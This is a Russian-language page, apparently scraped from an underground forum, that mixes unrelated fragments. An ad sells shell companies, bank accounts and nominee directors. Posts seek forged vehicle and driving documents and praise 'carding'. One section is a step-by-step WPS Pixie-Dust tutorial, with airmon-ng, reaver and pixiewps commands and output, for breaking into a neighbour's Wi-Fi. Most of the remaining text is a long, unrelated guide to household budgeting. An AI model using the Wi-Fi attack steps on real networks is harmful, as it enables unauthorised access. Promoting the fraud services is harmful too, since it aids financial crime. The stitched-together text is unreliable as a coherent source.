В наличии и под заказ ООО, ИП с р/сч (банки и регионы разные, уточняйте) и без р/сч. Оффшоры, фирмы с пос терминалами. Открываем счета в любых банках, под любые цели! Цена без р/сч: Цена с р/сч: ИП - от 25т.р. ИП - от 35т.р. ООО - от 35т.р. ООО - от 45т.р. В комплект входят все документы по компании, скан паспорта учредителя, печать, счет в банке: доп. сим-карта, интернет-банк, кэш-карта. ЭЦП. По желанию выездной номинальный директора(обсуждается). Передача и оплата через гаранта данного форума.

Спасибо! Попробую, я бы тоже от контактов не отказался бы) А то ваще хз где такие брать

Тяжело начинать ему было?

закажу ПТС и ВУ! СРОЧНОООООО!!!!

Сегодня я хочу рассказать как взломать WiFi WPA/WPA2 (WPS ATTACK) нам нужно будет: Linux (у меня стоит Kali Linux, наиболее удобна так как большинство утилит вшиты) Сетевая карта (PCI или USB не имеет значения, у меня PCI) Утилиты, которые потребуются уже вшиты в ОС. Но тем, у кого обычный линукс надо скачать вот эти утилиты - aircrack, wifite, reaver, pixiewps. Если все готово, то начинаем. Открываем терминал и пишем: airmon-ng - определяем наш беспроводной интерфейс. У каждого своя ситуация, в моем случае wlan0 Далее пишем следующее: airmon-ng start wlan0 - переводим в режим мониторинга. ВНИМАНИЕ название вашего интерфейса может изменится, в моем случае стало wlan0mon. После этого обычно остаются процессы, которые могут помешать их надо удалить используя kill **** (вместо **** id процесса) Теперь необходимо просканировать наше вайфай пространство: airodump-ng wlan0mon Используя утилиту wifite определим одну важную вещь(кстати, используя эту утилиту можно хакнуть вайфай без других утилит, но мне она не подходит): wifite запускается сканирование, выбираем сеть с включенным WPS. Но для того, чтобы все прошло успешно надо что бы в выбранной нами сети был клиент, без подключенного клиента это пустая трата времени. Если что, дожидаемся его появления. Wifite больше не пригодится. Взламывать WPS будем, используя reaver: reaver Далее: reaver -i wlan0mon -b F8:C0:91:14:C7:6B после -b должен быть bssid выбранной вами сети(смотрим в airodump-ng) Reaver начинает взлом, придется подождать пока не появятся E-Hash1 и E-Hash2 Итак, reaver закончил работу, но WPS PIN не появился, а появились данные о роутере все в норме. Тут то нам и нужен pixiewps: pixiewps Далее смотрим пример: pixiewps -e d0:14:1b:15:65:6e:96:b8:5f:ce:ad:2e:8e:76:33:0d:2b:1a:c1:57:6b:b0:26:e7:a3:28:c0:e1:ba:f8:cf:91:66:43:71:17:4c:08:ee:12:ec:92:b0:51:9c:54:87:9f:21:25:5b:e5:a8:77:0e:1f:a1:88:04:70:ef:42:3c:90:e3:4d:78:47:a6:fc:b4:92:45:63:d1:af:1d:b0:c4:81:ea:d9:85:2c:51:9b:f1:dd:42:9c:16:39:51:cf:69:18:1b:13:2a:ea:2a:36:84:ca:f3:5b:c5:4a:ca:1b:20:c8:8b:b3:b7:33:9f:f7:d5:6e:09:13:9d:77:f0:ac:58:07:90:97:93:82:51:db:be:75:e8:67:15:cc:6b:7c:0c:a9:45:fa:8d:d8:d6:61:be:b7:3b:41:40:32:79:8d:ad:ee:32:b5:dd:61:bf:10:5f:18:d8:92:17:76:0b:75:c5:d9:66:a5:a4:90:47:2c:eb:a9:e3:b4:22:4f:3d:89:fb:2b -r 59:1f:11:57:8b:52:61:40:63:fe:8d:e3:3d:04:36:a5:74:43:01:c6:a7:4a:06:60:2f:3c:c5:d3:87:7c:c0:d4:7a:d3:6b:09:f7:c5:5c:b5:18:62:13:b6:0c:79:3c:8f:58:97:e7:0c:b7:47:3d:6c:60:21:6c:d3:bc:a7:62:05:80:6b:a7:9c:b2:26:b5:62:37:7b:7c:08:24:93:15:87:bb:ff:ed:3f:6a:33:54:4c:a1:a0:1b:2e:2e:d2:35:e8:5d:72:55:77:57:97:ef:9a:c0:2f:c1:20:cf:de:a9:7b:e2:eb:70:a5:86:4d:03:72:ec:5c:82:d9:a4:70:44:3a:30:3a:63:6a:8d:39:c8:5e:71:1f:66:ab:4d:89:6d:e7:98:36:91:1e:e4:fc:2a:e6:c9:3b:9b:88:80:be:6a:04:d0:7b:43:2b:26:4e:62:4c:ea:01:7d:1e:90:a2:ba:33:29:b3:94:0b:20:02:9f:55:05:d3:68:d2:26:41:9c:2e -s 99:98:3e:42:0c:88:55:58:e2:97:cc:86:db:2a:ba:89:d9:6b:55:d9:7b:9a:1b:c3:93:a9:c8:70:35:4c:0a:7b -z f4:d3:c8:f0:64:24:e5:da:a9:97:16:4b:58:3d:41:15:76:15:5b:01:9e:1e:77:81:ab:55:6d:7e:82:8d:71:d8 -a 95:c5:07:7a:ef:d1:f9:d7:6d:6d:44:6d:57:c5:d9:59:c6:60:4d:bf:de:34:cc:8f:94:d8:b8:e1:74:0f:0b:18 -n 02:cc:48:b6:5c:b4:1f:2d:54:b2:27:67:3d:29:70:8f Что получилось в итоге: Pixiewps 1.1 [*] E-S1: 30:c9:c0:15:11:aa:81:5b:3b:cc:d4:79:26:4c:dc:f9 [*] E-S2: 30:c9:c0:15:11:aa:81:5b:3b:cc:d4:79:26:4c:dc:f9 [+] WPS pin: 99956042 [*] Time taken: 1 s Итак, мы получили WPS PIN используя который можем подключится к взломаной сетке. Чтобы подключиься вводим WPS PIN вместо пароля. Ну вроде все!)Удачи взломать соседкий Wi Fi,но не забывайте это уголовно наказуемо!

Отличная статья,сам не работаю по кардингу вполне понял что и как.Ждем статьейки еще по кардингу

Срочно нужен кодер под андройд!Платим 10% от прибыли.

Бюджет состоит из трех основных частей. Первая – это доходы, вторая – инвестиции и третья – расходы. И если с составлением первой и второй частей плана проблем никогда не бывает, вам достаточно просто перенести сумму своих доходов на лист бумаги в первом случае, а во втором выделить 10–20% от этой суммы, то с определением статей третьей части плана приходится повозиться. Очевидно, что для того, чтобы нам хватало на жизнь, наши доходы должны быть, по крайней мере, не меньше расходов. Это исходная предпосылка закладывается в обязательное условие составления бюджета: Доходы = Расходы. Для чего нужен бюджет Бюджет – это разумное распределение денежных ресурсов. Бюджет государства составляется на один год. Предприятия – как минимум на квартал. А вот личный финансовый план составляется на один месяц. В свою очередь, расходная часть делится на две части – обязательные платежи и необязательные расходы. К обязательным платежам можно отнести: питание, необходимую одежду и предметы гигиены, коммунальные выплаты, расходы по ведению хозяйства, выплаты по кредитам, аренду квартиры, расходы на транспорт. Есть обязательные расходы, которые присущи только данной семье, например, оплата собственного обучения или обучения детей, оплата услуг няни или домработницы, расходы на посещение фитнес-клуба, алименты, помощь родителям и многое другое. Чаще всего сумма, которую мы тратим на обязательные расходы, не меняется из месяца в месяц. И поэтому я рекомендую внести эти статьи в бюджет, ежемесячно откладывая определенную сумму. А вот необязательные расходы практически всегда состоят из наших желаний и зависят от неожиданных обстоятельств. И, несмотря на то, что неожиданные обстоятельства заложить в план невозможно, мы создаем статью – другие расходы. Мы созданы для того, чтобы жить, а не существовать. И было бы глупо не заложить статью в своем бюджете, которая позволит ходить в кино, посещать театры, клубы, выставки, покупать книги – в общем, делать все, что доставляет удовольствие. Вы спросите: «А на чем же экономить? Вы же перечислили все мои расходы?» И я отвечу – ни на чем! Я предлагаю ПРАВИЛЬНО ПОТРЕБЛЯТЬ! Да-да, разумно относиться к каждой покупке, делая ее в нужное время и в нужном месте. Конечно, чем больше у вас необузданных желаний, связанных с тем, что вы хотите выглядеть по моде, как тот парень с обложки или та девушка с плаката, тем меньше шансов прийти к финансовой свободе. В первую очередь потому, что вы уже не свободны, а зависите от тех людей, которые загнали вас в рабство потребления своих товаров. Финансовый план – это ваш меч в борьбе за вашу финансовую свободу! Не делайте инвестирование обременительным Максимализм – дело хорошее, но только не в отношении финансового плана. Доводить себя до состояния полного аскетизма глупо. История скупого рыцаря – лучший тому пример. Думаю, что вопрос вообще стоит по-другому. Насколько интереснее станет жизнь после того, как вы ее запланируете? Основной вопрос, на который мы должны себе ответить, прежде чем начнем инвестировать деньги: «Чем я хочу заполнить свою жизнь для того, чтобы чувствовать себя счастливым и свободным человеком»? Инвестирование в свое будущее – это здравый подход к тому, как мы можем построить свою жизнь, чтобы получить от нее абсолютно все! И конечно, оно не имеет никакого смысла, если мы ради будущего станем жертвовать настоящим. Можно применять наиболее простой способ учета личных финансов — кассовый метод. Все приходы денежных средств — доход, все потраченные личные средства — расход. Все люди разные, и ваши статьи бюджета могут выглядеть по другому: что-то вы добавите, что-то перегруппируете. В семье Леонида, успешного врача и администратора клиники, и его жены Татьяны двое детей. Сами Леонид и Татьяна люди очень компанейские, они живут открытым домом. Леонид осуществляет административные функции и практикует в частной клинике, которая успешно и вовремя успела пройти ряд этапов своего развития: вышла на высокий уровень рентабельности, выкупила здание, примкнула к программам медицинского страхования. Татьяна работает дантистом в клинике мужа. Особо не обсуждая вопрос друг с другом, супруги легко согласились на предложение доброго друга семьи перебраться в собственный дом, приобретенный в рассрочку. И примерно треть дохода ежемесячно теперь уходит на выплату процентов. Один из двух автомобилей также куплен супругами в кредит. Кредит по второму автомобилю выплачивает фирма. В семье две кредитные карты, к которым доступ имеют дети-тинейджеры. В последний месяц Леонид с удивлением увидел, что сумма процентных платежей составила около $4 тыс. Не обладая специальными финансовыми знаниями, Леонид, тем не менее, тут же сообразил, что иногда его зарплата примерно соответствует этой сумме. Леонид решил начать осознанное управление своими деньгами, и вот какой бюджет он составил. Кроме того, стабильный доход членов семьи позволили им с большей вероятностью составить бюджет на год. Многие люди не могут составить бюджет, потому что их доходы не стабильны. Сюда относятся люди, работающие в среде искусства, частные предприниматели, бизнесмены, консультанты и свободные специалисты: веб-мастера, дизайнеры, бизнес-тренеры и др. Например, Борис — свободный художник занимается дизайном помещений. Собственно, этим он и зарабатывает. Борису 29 лет. Он имеет определенный круг клиентов и неплохие заработки, но неравномерно распределенные во времени. Как говорят в кругу Бориса, он пока не слишком «раскручен». Поэтому клиенты не стоят к нему в очереди. Временами выгодного заказа приходится ждать долго, и количество денег в ящике секретера, в который Борис помещает новые поступления, становится небольшим. Тогда настроение молодого человека портится, он начинает соглашаться на не самые выгодные заказы, даже размышляет об устройстве на постоянную работу. Пусть за небольшую зарплату, но регулярно получаемую. Бывает и наоборот: в ящичке скапливается значительное количество денежных знаков. В такие периоды Борис делает подарки родителям и с удовольствием дарит деньги своей девушке. Как и большинство людей его круга, Борис хочет иметь много постоянной клиентуры, жить в роскошной квартире, иметь загородный дом. И в будущем у Бориса есть шансы все это заработать. Он уже неплохой профессионал. Теперь же Борис начал вращаться в среде, где люди не только много зарабатывают, но и много тратят. Причем значительная часть средств уходит на поддержание имиджа. Составив и ведя свой бюджет, Борис сможет быть более уверенным в жизни, сможет осмысленно подбирать заказы. Борис был бы очень удивлен, узнав, что он тратит в сумме больше, чем семья из четырех человек. Действительно, за прошлый год он заработал $25 тыс. Четверть из них ушла на оплату квартиры. А так как деньги от заказов поступали нерегулярно, дважды Борис был вынужден опаздывать с квартплатой. Хозяин квартиры был от этого не в восторге. Около тысячи долларов в месяц у Бориса просто уходит между пальцев: рестораны, такси. Значительная часть средств тратится на одежду. Недавно Борис взял на себя новые финансовые обязательства: кредит на покупку своей мастерской. Борис решает пересмотреть свои траты и составляет бюджет с учетом правил бюджета нерегулярного дохода. Борис желает не только добросовестно выплатить кредит за мастерскую, но и скопить кое-что для себя. Правила составления бюджета нерегулярных доходов 1. Бюджет составляется сроком на один год. Цель составления: оптимизация расходов. 2. Считаем, что денежные поступления в размере $10 тыс. приходят, например, три раза в год. В случае с Борисом это так и есть. 3. Составляя бюджет, подумайте, как вы можете обеспечить себе постоянный стабильный, хоть и небольшой доход. При составлении бюджета это приходит в голову само (работает наша тропинка!) Так, Борис решил подрабатывать в дизайнерском бюро. Шесть раз в год Борис будет зарабатывать по $1 тыс. через дизайнерское бюро. 4. Всегда должен быть резерв на обязательные платежи и непредвиденные расходы. То есть нам необходимо иметь «подушку безопасности» на случай бездоходного месяца. Правила ведения бюджета 1. Учитывать следует все до копейки. 2. Учитывать нужно ежедневно. 3. Результаты учета нужно анализировать. 4. По результатам анализа нужно делать выводы и применять их в жизни. Польза, которую вы получите от ведения бюджета • Планирование бюджета помогает увеличить текущий доход. • Грамотно созданный и исполняемый Бюджет позволяет привлекать дополнительные средства извне для приобретения личной собственности даже в случае нерегулярных заработков. • Составление бюджета способствует появлению новых источников дохода. • Дает увидеть возможность оптимизации трат, соблюдая уровень наполненности жизни. Как было сказано ранее, нужно не экономить, а правильно потреблять. Иногда для того, чтобы сохранить значительную сумму, стоит только подойти творчески. Мозговой штурм Когда вы составите собственный бюджет, предлагаю вам провести Мозговой штурм: как я могу уменьшить мои траты, не ухудшая уровень моей жизни? Практические и психологические трудности исполнения бюджета Очень трудно исполнять бюджет, И на уровне страны, и на уровне предприятия, и на уровне отдельной семьи. На уровни семьи еще труднее. Вот основные трудности, которые нас подстерегают и меры как их преодолеть. • Простой перерасход на покупки Противоядие - технологии совершения покупок. 1. Все покупки и другие траты необходимо заблаговременно планировать. Все будущие покупки и другие траты планируются, и эти планы записываются. Все траты планируются заблаговременно. Планируется число, когда будет совершена покупка, место, где она будет совершена, цена, по которой она будет совершена. Главная задача планирования времени, места и цены - избежать случайных, импульсивных покупок. Как правило, импульсивно покупаются АБСОЛЮТНО БЕСПОЛЕЗНЫЕ ВЕЩИ. И еще. Очень важно планировать цену. Это позволит, отправляясь в магазин, взять с собой столько денег, сколько необходимо только на запланированные покупки, плюс, может быть, 5-10 % на непредвиденные расходы. В таком случае оставленные дома средства останутся в целости. 2. Покупать нужно в оптовых и мелкооптовых предприятиях торговли. Человек возвращается с работы, ставит автомобиль на стоянку, заходит в расположенный по дороге к дому магазинчик, берет бутылочку холодного пива, усталый и довольный приходит домой, садится к телевизору... В этой картине все прекрасно, кроме торговой точки, где совершена покупка. Купленная по дороге к дому бутылка пива обойдется на 10 % дороже той, которую можно заранее купить в супермаркете, или на 25 % дороже той, которую можно взять на оптовом рынке. З. Всегда ведите переговоры с продавцом о возможной скидке на любом основании. Торговаться НЕ СТЫДНО, а очень весело. Порадуйте себя! Заведите разговор с продавцом о том, что слышали, будто у них в магазине на прошлой неделе были скидки к празднику, но вы, к сожалению, не успели к ним заехать... Скажите, что слышали, будто у них есть золотые дисконтные карты, и вы хотели бы свою обычную заменить на золотую. Придумайте еще какую-нибудь глупость, главное - разговорите продавца, кассира, менеджера. Задайте вопрос о скидке. Может быть, ничего не выйдет. Но, скажу по секрету, что в 30- 40 % случаев вы сэкономите деньги, или действительно выбив скидку, или получив в подарок дисконтную карту магазина или какой-нибудь праздничный купон и т. д. или даже небольшой подарок. 4. Всегда требовать и получать чек. Вы знаете, какая неразбериха с ценниками в супермаркетах. Вы можете рассчитывать на одну цену, а в итоге потратить совсем другую сумму. Чек нужно обязательно проверить, не отходя от кассы. Даже если сзади напирают и кричат разгневанные покупатели. Вы тратите не их, а свои деньги, поэтому пусть особо крикливые подождут, тем более что призыв: «Проверяйте чеки, не отходя от кассы» - висит где-нибудь поблизости, и всех недовольных можно отослать к администрации магазина. Ресторанные счета и чеки должны изучаться немедленно и в присутствии официанта. Средняя «накрутка» тут составляет 10-25 % и зависит от «лоховатости» клиента. Основания те же, что и в магазине: забыла, ошиблась, недосмотрела, дрогнула рука и т. д. Изучить счет необходимо еще и для того, чтобы не переплатить чаевых, поскольку в некоторых странах чаевые - это законная часть зарплаты официанта, и вы должны дать на чай не менее (но и не более!) 10 % от суммы счета. Собирайте чеки и в конце дня заносите их в свою программу - это очень упростит последующую работу и сэкономит вам массу времени. • Сложно отложить деньги на инвестирование Это правило - просто выражение того факта, что первым номером среди всех категорий потребностей стоят расходы (расходы, потому что эти деньги откладываются) на увеличение сбережений. В том, что деньги в первую очередь откладываются в сбережения, ничего странного нет, если вы провозгласили основной целью получение богатства. Основной механизм для обретения финансовой свободы - сбережения и инвестирование. Другого пути нет, поэтому среди расходов под первым номером идут именно эти. Вопрос только в том, сколько откладывать. Ответ очевиден: чем больше, тем лучше. Обычно советуют откладывать 10 % от всех получаемых вами доходов. Только те деньги, которые вы отложили в сбережения, и являются вашими. Те, что вы заплатили продавцу рыбы, - это деньги продавца рыбы. Те, что заплатили продавцу бензина, - это деньги продавца бензина. Пусть вас не успокаивает то, что и эту рыбу, и этот бензин потребили вы. Неизвестно, какую норму прибыли заложили эти торговцы в свой бизнес, неизвестно, сколько налогов заплатили с этих сумм, неизвестно, сколько ушло на взятки чиновникам, на благотворительность и т. д. Об этом можно только догадываться. А вот то, что ВЫ отложили в сбережения, - это уж точно ваше. И на доход от этих сбережений вы и ваши дети смогут безбедно жить в будущем. ЗАПЛАТИТЕ СНАЧАЛА СЕБЕ! • Случайная покупка ненужной вещи Примите за правило не тратить деньги, если существует внутренний конфликт, т. е. что-то свидетельствует о необходимости покупки, а что-то — наоборот. Например, вещь вам нужна, но товар не слишком хорошего качества или рекомендации продавца звучат не слишком убедительно. Или вас явно «раскручивают», а объективных потребностей для совершения покупки нет. Иначе говоря, суть метода состоит не в том, чтобы концентрироваться на удовольствии от поступка, совершенного в нарушение плана, а наоборот, вызвать в себе позитивный образ от выполнения задуманного. Например, если вы сбрасываете лишний вес, то не представлять себе вкус изысканного пирожного, тающего во рту, со всей гаммой вкусовых обертонов, а ярко воображать себя на теннисном корте или пляже с тонкой талией и стройными бедрами. Чем ярче будет представлен второй образ, тем легче вы откажетесь от пирожного. Также и с бюджетом. Вы не думаете о новой вещи, покупая которую выбьетесь из бюджета. Вы концентрируетесь на ощущении сдержанного перед собой обещания, выполнения запланированного. И чувствуете радость от собственной власти над собой, которая, как известно, является высшей формой власти. • По случаю превысили объем истраченных денег на какую-то статью Например, в поездке заграницу потратились на одежду. По этому поводу не стоит переживать. Просто уменьшите эти статьи в следующие месяцы. «Размажьте» эти затраты по году. Право же, нелепо отказываться от покупки одежды в Париже, чтобы в следующем месяце купить ее в Москве в три раза дороже. • Напряжение от ограниченности Оно наступает тогда, когда начинаешь покупать продукты дешевле и отказывать себе в жизненных удовольствиях (еда, путешествия). Вот это нам совершенно не нужно - держите баланс. Планированием делаем свою жизнь лучше, а не хуже. Поскольку исполнить бюджет это не только не тратить лишнего, но и тратить запланированное, то оказалось, что запланировав театр, бассейн, занятия танцами, мы с мужем реально стали это все делать. Стали обедать в ресторанах, потому что запланировано, я стала вовремя покупать дорогие средства по уходу, потому что запланировано. Вот так и получается: начав контролировать свои расходы, мы стали жить лучше и веселее. Пусть у вас будет хобби, пусть будет дорогое хобби. Но пусть оно будет одно. И на самом деле любимое, а не модное. У меня это роспись по стеклу, и иногда для меня подаренная другом пустая бутылка красивой формы большая радость, чем покупка модной одежды. У меня очень хорошие краски и дорогие инструменты. И вне зависимости от моих доходов я получаю кусочек радости и удовольствия каждый вечер. • Резкая смена приоритетов Это может подорвать отношения с семьей. Потому что стремление сократить максимально траты и стать одержимым в заработке не только обездоливает самого человека, но также делает несчастными его близких. Если же эти близкие еще и зависимы материально и эмоционально, то передающееся в процессе воспитания отношение к деньгам может стать причиной несчастий и угасания для целого рода. Мы с вами уже знаем о семейной финансовой модели. По исследованию группы Альянс, 38% женщин сказали, что именно деньги были причиной их семейных проблем. Основными темами семейных споров на тему денег является то, что у семьи недостаточные накопления, слишком большие долги, что она (он) слишком много тратят. Очень интересный момент исследования: в то время, как лишь 11% процентов опрошенных женщин ответили, что их мужья принимают решения по денежным вопросам, 55% мужчин сказали, что именно они это делают. Если в вашей семье имеются такие разногласия, вам необходимо пересмотреть ваши отношения с супругом (супругой). И единственным способом избежать ссор и остаться счастливой парой является совместное принятие всех решений по деньгам семьи. Безусловно, вы можете разделить свои финансовые обязанности в семье, но к концу дня ваша ответственность за ваши деньги должна быть равнозначной. Неважно, кто зарабатывает деньги. Но когда дело касается расходов, инвестирования или сохранения денег, решения должны приниматься совместно, и такой же совместной должна быть ответственность за эти решения. Если этого в вашей семье не будет, проблемы в ваших отношения в семье останутся, и никакие деньги не смогут их разрешить. • Конфликт интересов в семье Когда Вы решили улучшить финансовое положение семьи и нашли разумное решение финансовых проблем, Вы должны это сделать семейной целью, потому что денежные вопросы касаются всех членов семьи и являются животрепещущими. Поэтому первое, что Вы должны сделать, это обсудить вопросы управления денежными средствами с членами своей семьи, зажечь их своим энтузиазмом, поделиться своим настроением, потому что очень важно, когда Вас поддерживают Ваши близкие. Дело в том, что когда вы приняли решение отправиться в путешествие в страну финансового благополучия, это не значит, что все, кто с вами живет, тоже захотели к Вам присоединиться. Вы спросите меня, почему? Ну, потому что эта гениальная идея пришла пока еще только вам в голову. Только Вы могли решить, что с вами, вернее с вашими финансами, не все в порядке. Кто знает, может, ваш спутник жизни так не считает. Только Вы могли попасть в какую-нибудь финансовую передрягу, и чтобы не допустить ее повторения, стали думать, как можно с этим покончить раз и навсегда. В любом случае, если Вы живете не один (одна), и из Вашей «тумбочки» кормятся еще несколько близких вам людей, вам это надо обсуждать. Более того, надо побудить близких вам людей объединить усилия. Вам надо стать величайшим в мире продавцом, надо показать выгоды, которые каждый из Вас получит, когда Ваши действия начнут приносить желаемый результат. Но я хочу вас предупредить. Эти обсуждения могут быть очень болезненны для всех. Это может быть взрыв эмоций. Вас могут обвинить во всех смертных грехах, особенно, когда Вы попытаетесь сократить « довольствие» кого-то из членов семьи, лишив их ежедневного «киндер-сюрприза» или постоянных компьютерных апгрейдов. Вот одна из ситуаций, которая может возникнуть, когда человек пытается взять под контроль свои финансы. Николай: «В начале своей семейной жизни я начал это делать (тогда я как раз прочитал книги Роберта Кийосаки). Я взялся за это очень рьяно. Это привело к тому, что каждое планирование, а особенно анализ выполнения плана, у нас с женой оканчивался просто скандалом или грандиозным скандалом. Через какое-то время планирование и контроль мы забросили. Точнее, я забросил. Потому что я этим занимался. Остался только учет расходов. Правда, это больше напоминает бесполезное занятие. Можно сказать, мое хобби (бухгалтерское хобби). А еще жена говорит или думает, что это такой способ тонкого "издевательства" над ней. Короче, когда я сейчас говорю "план", у нас начинается ругань, а когда говорю "экономия" – у жены начинается истерика". При обсуждении вопроса «Где деньги, Зин?» всегда назревает конфликт интересов. Что желательно сделать в такой ситуации? 1. Пересмотреть список расходов и обязательно вписать туда карманные расходы жены (и никогда, ни при каких обстоятельствах не спрашивать об их использовании! - доверие здесь прежде всего!). 2. Установить день в неделю для обсуждения финансовых вопросов и назовите его День Денег, ДД. 3. Обсуждайте больше семейные финансовые цели. Чего бы вам хотелось в жизни иметь и как этого можно добиться? 4. Обсуждайте книги по финансовому успеху, которые вы прочитали и что нового вы узнали, и как это можно использовать для семейной жизни. 5. Совместно принимайте финансовые решения. Пусть этот процесс доставляет вам удовольствие, независимо от того, насколько затруднительно сегодня ваше финансовое положение. Убеждайте себя и партнера в том, что финансовый успех обязательно придет, если вы возьмете под контроль свою финансовую жизнь. 6. Договаривайтесь. Ищите скрытые мотивы. Например, одна моя знакомая пара очень ожесточенно спорила по поводу отдыха. Муж был против трат на тур за границу, жена мечтала об этом отдыхе и очень хотела поехать. Они ругались до тех пор, пока не выяснили свои интересы до конца. Тогда оказалось, что он против трат выше 1 тыс. долларов, а поездка за рубеж в его понимании составляла примерно тысячи долларов. Жена же хотела побыть вместе с мужем без остальных членов семьи, бабушек, детей. Идеальным решением для них стала поездка в хороший подмосковный пансионат. За 900 долларов они получили замечательный отдых. Любопытная статистика о бюджете в России. Большинство россиян уверены, что деньги можно сэкономить, если вести их учет. Однако делает это меньше половины россиян, утверждает фонд "Общественное мнение". Причем от уровня дохода бережливость не зависит. Планируя семейный бюджет, вы сэкономите энную сумму - с этим согласны 54% граждан, опрошенных ФОМ (не согласны - 28%). Казалось бы, вполне здравая и логичная мысль. Однако треть респондентов, проголосовавших за "плановую экономику", денег не считают. В целом не утруждает себя этой бухгалтерией половина россиян, а скрупулезно ведут статистику расходов лишь 43%. Чем меньше человек зарабатывает, тем тщательнее он считает рубли и копейки, предполагали социологи. Но вопреки их ожиданиям, уровень жизни оказался ни при чем - богатые и бедные в России одинаково склонны к финансовой безответственности. Крупные покупки, впрочем, планируют заранее 69% опрошенных. Зато в каждой седьмой российской семье (и снова это не связано с уровнем доходов) не принято заранее просчитывать серьезные траты. Они действуют по принципу: "пришел, увидел, понравилось - купил". У подавляющего большинства людей в России существует устоявшийся стереотип богатого человека. Богатый, по их мнению, это тот, кто обедает в шикарных ресторанах, живет в шикарном доме, ездит на шикарной машине. И далее по нарастающей - летает на собственном самолете, живет в собственном замке... Должен разочаровать вас. Большинство богатых людей очень скромны в своих тратах (иногда, конечно, это скромность по отношению к имеющимся возможностям, но все равно, это - скромность). Просто надо понять, что писать ручкой Parker, носить часы Rolex, ездить на Toyota Landcruiser 100 на аэродром, чтобы полетать на собственном DB-3F (и делая все это одновременно), может позволить себе только очень богатый человек, то есть инвестор. Тот же, кто пытается все это делать на зарплату, - преступник перед собственными детьми. 3. НАКОПЛЕНИЯ Способы аккумуляции денег Что делает обычный человек, когда думает об экономии? Он признает, что хорошо бы что-то сберечь, но откладывает решение до конца месяца, а в конце месяца с ним происходит то же, что и с сорокой в сказке Сергея Азимова: «Сорока-белобока получила зарплату (премию за квартал, комиссионные за сделку) и началось: этому дала (оплата за квартиру), этому дала (закупилась на рынке), этому дала (сломалась машина), этому дала (сосед-гад на бутылку выпросил), этому дала (ой, какая кофточка, тряпочка, сумочка), этому дала (отдала долг за прошлый месяц). В общем, давала она так и думала: «А то, что останется, буду копить в кучу». Загадка в тему для студентов математических ВУЗов: сколько у.е. осталось у неё к концу месяца. Ваш ответ? Правильно. – минус 100 и жгучее желание в следующем месяце начать новую жизнь, полную финансовой независимости». Поэтому повторюсь. Сначала заплатите себе. Каким образом это лучше делать? Вы определяетесь, что для Вас больше подходит - система сберегательных счетов или система копилок, коробок и т.п. Т.е. если Вы доверяете деньги банку и не доверяете себе (особенно на первых порах) – несите в банк. Если не доверяете банку и надеетесь избавиться от плохой привычки залезать в заветные коробочки и копилочки - храните деньги дома. Для хранения денег в банке ищите «срочные» счета с возможностью пополнения, причем размер пополнения – минимальный. Если не сможете отложить много, рискуете потратить все или часть до того, как накопится минимальная сумма пополнения. 100 рублей проще потратить, чем 1000, поэтому помня о магической силе 100 рублей нам не стыдно прийти и пополнить счет в банке на 100 рублей. Банковскую карточку, на которую вам перечисляется зарплата, нельзя использовать для целей сбережения. Она используется только для осуществления платежей за покупки и услуги. Если Вы хотите сберегать часть своего дохода, откройте еще один счет и договоритесь с банком о перечислении средств автоматически со счета пластиковой карты сразу при поступлении средств. Что касается копилок, то мне очень нравится мнение Бодо Шеффера по поводу того, что копилки должны быть прозрачными, чтобы Вас возбуждал результат, которого Вы достигли в процессе сбережения. Помните, в советские времена было повальное увлечение использовать бутылки из-под «Шампанского» в качестве копилки для десятикопеечных монет? И все знали, что в бутылку входило 300 рублей. Огромная сумма по тем временам. Вот это была цель! Вот это была мотивация! Попробуйте использовать тот старый опыт в своей сегодняшней жизни. Возьмите прозрачную емкость с крышкой. Причем, чем более эта емкость будет эстетично выглядеть, тем лучше для Вас! Не подходит емкость - купите копилку, не подходит копилка - купите фотоальбом. Главное, чтобы Вашим деньгам было хорошо и удобно там, куда Вы их положили. И Вам тоже было истинным наслаждением смотреть, как увеличиваются Ваши сбережения! Во – вторых, Вы должны знать, что счетов или копилок, или страниц для денег в фотоальбоме должно быть несколько в соответствии с принятой системой сбережения. Почему? Потому что вспомните, что с Вами было, когда Вы снимали деньги со сберегательного счета в последний раз? Мы уже говорили, что обычно Вы испытываете чувство вины по поводу того, что на счете ничего или слишком мало денег остается. И чтобы не испытывать этого чувства, мы будем иметь несколько счетов для разных целей. Пусть будет накопительный счет и счет на неотложные нужды. Со второго счета можно снимать и не чувствовать себя виноватым. Время и капитализация Когда у Ротшильда спросили, знает ли он 7 чудес света, он ответил: «He уверен. Но я точно знаю, что такое восьмое чудо света - это капитализация». Вы кладете 100 тыс. руб. на депозитный счет в банк сроком на 1 год по ставке 10% годовых и с ежемесячной капитализацией. Если бы вы положили деньги на этот же депозит без капитализации, к концу года ваш капитал составил бы 110 тысяч руб. - доходность10% годовых. Благодаря же капитализации к концу года вы получите по своему депозиту более высокую доходность - 10,5%, или 110,471 руб. Безусловно, дополнительный доход всегда приятен, и лишними эти 471 руб. не станут, но при размещении средств на короткие сроки и при выборе банковского депозита обратите внимание и на другие депозиты. Без капитализации. Возможно, банк предложил бы вам инвестировать деньги на 1 год по ставке 11% годовых, но без капитализации, и это было бы для вас более выгодным вложением. ПОЭТОМУ ВСЕГДА ПРЕДВАРИТЕЛЬНО СДЕЛАЙТЕ РАСЧЕТЫ НА БУМАГЕ, ДО ТОГО КАК РЕАЛЬНО ВКЛАДЫВАТЬ СВОИ ДЕНЬГИ!!! А теперь взгляните на другие расчеты - пример долгосрочного инвестирования. И вот здесь вы увидите, почему капитализацию называют восьмым чудом света. Таблица показывает, какой доход принесут $100, вложенные на различные сроки с различной доходностью. Время и капитализация Впечатляюще, правда? Совершая неразумные покупки и халатно обращаясь со своими финансами, вы теряете не только эти деньги, но и капитализацию, а это куда более существенная сумма. Я призываю вас вести бюджет, платить себе и становиться финансово благополучными людьми. Подход к накоплению «Три колбы» Один мой коллега поддался уговорам жены, которая очень увлеклась идеями создания личного капитала. По ее плану нужно было откладывать часть их заработка, оставляя себе только на самое необходимое. Через три месяца доходы их стали падать. Мой коллега признался мне: «Знаешь, я работаю-работаю, а даже удочку новую себе купить не могу, и жизнь моя не меняется, и в какой-то момент я понял, что не хочу больше работать. Не интересно. И клиенты мои как будто узнали об этом и обращаться перестали, а если раньше я мог взять заказ, например из Казахстана и ехать вести тренинги, потому что там платят хорошо, то теперь не соглашаюсь. Зачем мне деньги? На самое необходимое нам хватает». Есть люди, для кого повышение уровня комфорта в зависимости от заработков является основной мотивацией, которая двигает вперед. Если это стремление двигает вас вперед, то нелепо от него отказываться. Не всех прельщает идея 30 лет жить в режиме жесткой экономии, чтобы в день своего 65 лития стать миллионером, которому уже ничего не хочется, да и много не надо. Купить тогда себе ящик кефира и грелку 